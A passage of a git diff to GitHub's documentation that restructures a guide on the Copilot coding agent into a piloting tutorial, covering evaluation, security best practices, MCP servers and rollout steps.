/rolling-out-github-copilot-at-scale redirect_from: - /copilot/using-github-copilot/guides-on-using-github-copilot diff --git a/content/copilot/tutorials/rolling-out-github-copilot-at-scale/enabling-developers/using-copilot-coding-agent-in-org.md b/content/copilot/tutorials/pilot-copilot-coding-agent.md similarity index 54% rename from content/copilot/tutorials/rolling-out-github-copilot-at-scale/enabling-developers/using-copilot-coding-agent-in-org.md rename to content/copilot/tutorials/pilot-copilot-coding-agent.md index 6c3dfec45c67..fc79b36b7bd0 100644 --- a/content/copilot/tutorials/rolling-out-github-copilot-at-scale/enabling-developers/using-copilot-coding-agent-in-org.md +++ b/content/copilot/tutorials/pilot-copilot-coding-agent.md @@ -1,7 +1,7 @@ --- -title: 'Using {% data variables.copilot.copilot_coding_agent %} effectively in your organization' -shortTitle: 'Use {% data variables.copilot.copilot_coding_agent %}' -intro: 'Learn about adopting {% data variables.copilot.copilot_coding_agent %} in your organization.' +title: 'Piloting {% data variables.copilot.copilot_coding_agent %} in your organization' +shortTitle: 'Pilot {% data variables.copilot.copilot_coding_agent %}' +intro: 'Follow best practices to enable {% data variables.copilot.copilot_coding_agent %} in your organization.' allowTitleToDifferFromFilename: true versions: feature: copilot @@ -10,72 +10,31 @@ topics: product: '{% data reusables.gated-features.copilot-coding-agent %}' redirect_from: - /copilot/rolling-out-github-copilot-at-scale/enabling-developers/using-copilot-coding-agent-in-org + - /copilot/tutorials/rolling-out-github-copilot-at-scale/enabling-developers/using-copilot-coding-agent-in-org --- - + {% data reusables.copilot.coding-agent.preview-note %} -## Why {% data variables.copilot.copilot_coding_agent %}? - {% data variables.copilot.copilot_coding_agent %} is an autonomous, AI-powered agent that completes software development tasks on {% data variables.product.github %}. Adopting {% data variables.copilot.copilot_coding_agent %} in your organization frees your engineering teams to spend more time thinking strategically and less time making routine fixes and maintenance updates in a codebase. + {% data variables.copilot.copilot_coding_agent %}: -* **Joins your team**: Developers can delegate work to {% data variables.product.prodname_copilot_short %} unlike IDE-based coding agents that require synchronous pairing sessions. +* **Joins your team**: Developers can delegate work to {% data variables.product.prodname_copilot_short %} unlike IDE-based coding agents that require synchronous pairing sessions. {% data variables.product.prodname_copilot_short %} opens draft pull requests for team members to review and iterates based on feedback, as a developer would. * **Reduces context switching**: Developers working in JetBrains IDEs, {% data variables.product.prodname_vscode_shortname %}, {% data variables.product.prodname_vs %}, or {% data variables.product.prodname_dotcom_the_website %} can ask {% data variables.copilot.copilot_coding_agent %} to create a pull request to complete small tasks without stopping what they are currently doing. -* **Works on {% data variables.product.github %}**: {% data variables.product.prodname_copilot_short %} operates within your existing workflows on {% data variables.product.github %} alongside your developers. -* **Uses pull request review workflows**: {% data variables.product.prodname_copilot_short %} opens draft pull requests for team members to review and iterates based on feedback, as a developer would. * **Executes tasks in parallel**: {% data variables.product.prodname_copilot_short %} can work on multiple issues simultaneously, handling tasks in the background while your team focuses on other priorities. -* **Provides decision transparency**: Developers can review {% data variables.product.prodname_copilot_short %}’s logs on {% data variables.product.github %} to understand its reasoning and see the tools it used to complete tasks. -* **Ensures enterprise-grade security**: {% data variables.copilot.copilot_coding_agent %}'s security-first design keeps a human in the loop and enables governance via enterprise policies and settings. - -## How {% data variables.copilot.copilot_coding_agent %} can contribute to your organization - -{% data variables.product.prodname_copilot_short %} can help your organization address well-defined and scoped issues, such as increasing test coverage, fixing bugs or flaky tests, or updating config files or documentation. For more on the kinds of issues {% data variables.product.prodname_copilot_short %} works best on, see [AUTOTITLE](/copilot/using-github-copilot/coding-agent/best-practices-for-using-copilot-to-work-on-tasks). - -Developers stay in the flow when they ask {% data variables.product.prodname_copilot_short %} to create pull requests directly from {% data variables.copilot.copilot_chat_short %} instead of opening issues that may sit in a backlog. - -When used effectively, {% data variables.copilot.copilot_coding_agent %} offers productivity benefits over traditional AI assistants in IDEs: - -* With **AI assistants in IDEs**, coding happens **locally**. Individual developers pair in **synchronous** sessions with the AI assistant. Decisions made during the session are **untracked** and lost to time unless committed. Although the assistant helps write code, the developer still has a lot of **manual steps** to do: create the branch, write commit messages, push the changes, open the PR, write the PR description, get a review, iterate in the IDE, and repeat. These steps take time and effort that may be hard to justify for simple or routine issues. - -* With **{% data variables.copilot.copilot_coding_agent %}**, all coding and iterating happens **on {% data variables.product.github %}** as part of the pull request workflow. {% data variables.product.prodname_copilot_short %} **automates** branch creation, commit message writing and pushing, PR opening, and PR description writing. Developers let the agent **work in the background** and then steer {% data variables.product.prodname_copilot_short %} to a final solution using PR reviews. Working on {% data variables.product.github %} adds **transparency**, where every step happens in a commit and is viewable in logs. Working on {% data variables.product.github %} also opens up **collaboration** opportunities for the entire team. - -Over time, your engineering teams can benefit from the increased automation, transparency, and collaboration {% data variables.copilot.copilot_coding_agent %} provides. For ideas on how to run a successful pilot, see [Piloting {% data variables.copilot.copilot_coding_agent %}](#piloting-copilot-coding-agent). -For an example scenario that walks through how to use {% data variables.copilot.copilot_coding_agent %} alongside other AI features on {% data variables.product.github %}, see [AUTOTITLE](/copilot/rolling-out-github-copilot-at-scale/enabling-developers/integrating-agentic-ai). - -## Using MCP to enhance {% data variables.copilot.copilot_coding_agent %} - -The Model Context Protocol (MCP) is an open standard that defines how applications share context with large language models (LLMs). MCP provides a standardized way to provide {% data variables.copilot.copilot_coding_agent %} with access to different data sources and tools. - -{% data variables.copilot.copilot_coding_agent %} has access to the full {% data variables.product.github %} context of the repository it's working in, including issues and pull requests, using the built-in {% data variables.product.github %} MCP server. By default, it's restricted from accessing external data by authentication barriers and a firewall. You can extend the information available to {% data variables.copilot.copilot_coding_agent %} by giving it access to local MCP servers for the tools your organization uses. For example, you might want to provide access to local MCP servers for some of the following contexts: - -* **Web browser**: Set up the Playwright MCP server to allow {% data variables.product.prodname_copilot_short %} to pull context directly from an external link in an issue. -* **Project planning tools**: Allow {% data variables.product.prodname_copilot_short %} direct access to private planning documents that are stored outside {% data variables.product.github %} in tools like Notion or Figma. -* **Augment training data**: Each LLM contains training data up to a specific cut-off date. If you're working with fast moving tools, {% data variables.product.prodname_copilot_short %} may not have access to information on new features. You can fill this knowledge gap by making the tool's MCP server available. For example, adding the Terraform MCP server will give {% data variables.product.prodname_copilot_short %} access to the most recently supported Terraform providers. - -For more information, see [AUTOTITLE](/copilot/using-github-copilot/coding-agent/extending-copilot-coding-agent-with-mcp). +## 1. Evaluate -## Using {% data variables.copilot.copilot_coding_agent %} securely +Before enabling {% data variables.copilot.copilot_coding_agent %} for members, understand how {% data variables.copilot.copilot_coding_agent %} will fit into your organization. This will help you evaluate whether {% data variables.copilot.copilot_coding_agent %} is suitable for your needs and plan communications and training sessions for developers. -Security is a fundamental consideration when you enable {% data variables.copilot.copilot_coding_agent %}, as with any other AI agent. {% data variables.product.prodname_copilot_short %} has a strong base of built-in security protections that you can supplement by following best practice guidance. +1. Learn about {% data variables.copilot.copilot_coding_agent %}, including the costs, built-in security features, and how it differs from other AI tools your developers may be used to. See [AUTOTITLE](/copilot/concepts/about-copilot-coding-agent). +1. Learn about the tasks that {% data variables.copilot.copilot_coding_agent %} is best suited for. These are generally well-defined and scoped issues, such as increasing test coverage, fixing bugs or flaky tests, or updating config files or documentation. See [AUTOTITLE](/copilot/using-github-copilot/coding-agent/best-practices-for-using-copilot-to-work-on-tasks). +1. Consider how {% data variables.copilot.copilot_coding_agent %} fits alongside other tools in your organization's workflows. For an example scenario that walks through how to use {% data variables.copilot.copilot_coding_agent %} alongside other AI features on {% data variables.product.github %}, see [AUTOTITLE](/copilot/rolling-out-github-copilot-at-scale/enabling-developers/integrating-agentic-ai). -### Built-in protections +## 2. Secure -* **Subject to existing governance**: Organization settings and enterprise policies control availability. Any security policies and practices set up for the organization also apply to {% data variables.copilot.copilot_coding_agent %}. -* **Restricted development environment**: {% data variables.product.prodname_copilot_short %} works in a sandbox development environment with internet access controlled by a firewall. It has read-only access to the repository it's assigned to work in. -* **Limited access to branches**: {% data variables.product.prodname_copilot_short %} can only create and push to branches beginning with `copilot/`. It is subject to any branch protections and required checks for the working repository. -* **Responds only to users with write permissions**: {% data variables.product.prodname_copilot_short %} will not respond to feedback from users with lower levels of access. -* **Treated as an outside collaborator**: Draft pull requests proposed by {% data variables.product.prodname_copilot_short %} require approval by a user with write permissions before Actions workflows can run. {% data variables.product.prodname_copilot_short %} cannot mark its pull requests as "Ready for review" and cannot approve or merge a pull request. -* **Tracked for compliance**: {% data variables.product.prodname_copilot_short %}'s commits are co-authored by the developer who assigned the issue or requested the change to the pull request, allowing attribution of proposed changes. The developer who asked {% data variables.product.prodname_copilot_short %} to create a pull request cannot approve that pull request. In repositories where an approving review is required, this ensures that at least one independent developer reviews {% data variables.product.prodname_copilot_short %}'s work. - -For more information, see: -* [AUTOTITLE](/copilot/responsible-use-of-github-copilot-features/responsible-use-of-copilot-coding-agent-on-githubcom) -* [{% data variables.product.prodname_copilot %} Trust Center](https://copilot.github.trust.page/) - -### Security best practices - -All AI models are trained to meet a request, even if they don't have all the information needed to provide a good answer, and this can lead them to make mistakes. By following best practices, you can reduce the risks of using {% data variables.product.prodname_copilot_short %} in your organization. +All AI models are trained to meet a request, even if they don't have all the information needed to provide a good answer, and this can lead them to make mistakes. By following best practices, you can build on the default security features of {% data variables.copilot.copilot_coding_agent %}. 1. Give {% data variables.product.prodname_copilot_short %} the information it needs to work successfully in a repository using a `copilot-instructions.md` file. See [AUTOTITLE](/copilot/customizing-copilot/adding-repository-custom-instructions-for-github-copilot). 1. Set up the {% data variables.product.prodname_copilot_short %} development environment for a repository with access to the tools and package repositories approved by the organization using a `copilot-setup-steps.yml` file and local MCP servers. See [AUTOTITLE](/copilot/customizing-copilot/customizing-the-development-environment-for-copilot-coding-agent) and [AUTOTITLE](/copilot/using-github-copilot/coding-agent/extending-copilot-coding-agent-with-mcp). @@ -83,7 +42,7 @@ All AI models are trained to meet a request, even if they don't have all the inf 1. Enable code security features to further lower the risk of leaking secrets and introducing vulnerabilities into the code. See [AUTOTITLE](/code-security/securing-your-organization/enabling-security-features-in-your-organization/applying-the-github-recommended-security-configuration-in-your-organization). 1. Configure your branch rulesets to ensure that all pull requests raised by {% data variables.product.prodname_copilot_short %} are approved by a second user with write permissions (a sub-option of "Require a pull request before merging"). See {% ifversion ghec %}[AUTOTITLE](/admin/enforcing-policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-code-governance), {% endif %}[AUTOTITLE](/organizations/managing-organization-settings/creating-rulesets-for-repositories-in-your-organization) and [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/managing-rulesets/available-rules-for-rulesets#require-a-pull-request-before-merging). -## Piloting {% data variables.copilot.copilot_coding_agent %} +## 3. Pilot Sign up for {% data variables.product.prodname_copilot_short %} {% octicon "link-external" height:16 aria-label="link-external" %} @@ -103,3 +62,26 @@ As with any other change to working practices, it's important to run a trial to Over the course of the trial, the team should iterate on the repository instructions, installed tools, access to MCP servers, and issue definition to identify how your organization can get the most from {% data variables.copilot.copilot_coding_agent %}. This process will help you identify your organization's best practices for working with {% data variables.product.prodname_copilot_short %} and plan an effective rollout strategy. In addition to giving you insight into how to set up {% data variables.copilot.copilot_coding_agent %} for success, you'll learn how {% data variables.product.prodname_copilot_short %} uses premium requests and actions minutes. This will be valuable when you come to set and manage your budget for a broader trial or full rollout. See [AUTOTITLE](/copilot/rolling-out-github-copilot-at-scale/assigning-licenses/managing-your-companys-spending-on-github-copilot). + +### Enhancing with MCP + +The Model Context Protocol (MCP) is an open standard that defines how applications share context with large language models (LLMs). MCP provides a standardized way to provide {% data variables.copilot.copilot_coding_agent %} with access to different data sources and tools. + +{% data variables.copilot.copilot_coding_agent %} has access to the full {% data variables.product.github %} context of the repository it's working in, including issues and pull requests, using the built-in {% data variables.product.github %} MCP server. By default, it's restricted from accessing external data by authentication barriers and a firewall. + +You can extend the information available to {% data variables.copilot.copilot_coding_agent %} by giving it access to local MCP servers for the tools your organization uses. For example, you might want to provide access to local MCP servers for some of the following contexts: + +* **Project planning tools**: Allow {% data variables.product.prodname_copilot_short %} direct access to private planning documents that are stored outside {% data variables.product.github %} in tools like Notion or Figma. +* **Augment training data**: Each LLM contains training data up to a specific cut-off date. If you're working with fast moving tools, {% data variables.product.prodname_copilot_short %} may not have access to information on new features. You can fill this knowledge gap by making the tool's MCP server available. For example, adding the Terraform MCP server will give {% data variables.product.prodname_copilot_short %} access to the most recently supported Terraform providers. + +For more information, see [AUTOTITLE](/copilot/using-github-copilot/coding-agent/extending-copilot-coding-agent-with-mcp). + +## Next steps + +When you're satisfied with the pilot, you can: + +* Enable {% data variables.copilot.copilot_coding_agent %} in more organizations or repositories. +* Identify more use cases for {% data variables.copilot.copilot_coding_agent %} and train developers accordingly. +* Continue to collect feedback and measure results. + +To assess the impact of a new tool, we recommend measuring the tool's impact on your organization's downstream goals. For a systematic approach to driving and measuring improvements in engineering systems, see {% data variables.product.company_short %}'s [Engineering System Success Playbook](https://resources.github.com/engineering-system-success-playbook/). diff --git a/content/copilot/tutorials/rolling-out-github-copilot-at-scale/enabling-developers/index.md b/content/copilot/tutorials/rolling-out-github-copilot-at-scale/enabling-developers/index.md index 7e3835bf3b7f..db25a6656f1d 100644 --- a/content/copilot/tutorials/rolling-out-github-copilot-at-scale/enabling-developers/index.md +++ b/content/copilot/tutorials/rolling-out-github-copilot-at-scale/enabling-developers/index.md @@ -9,7 +9,6 @@ topics: children: - /driving-copilot-adoption-in-your-company - /integrating-agentic-ai - - /using-copilot-coding-agent-in-org redirect_from: - /copilot/rolling-out-github-copilot-at-scale/enabling-developers ---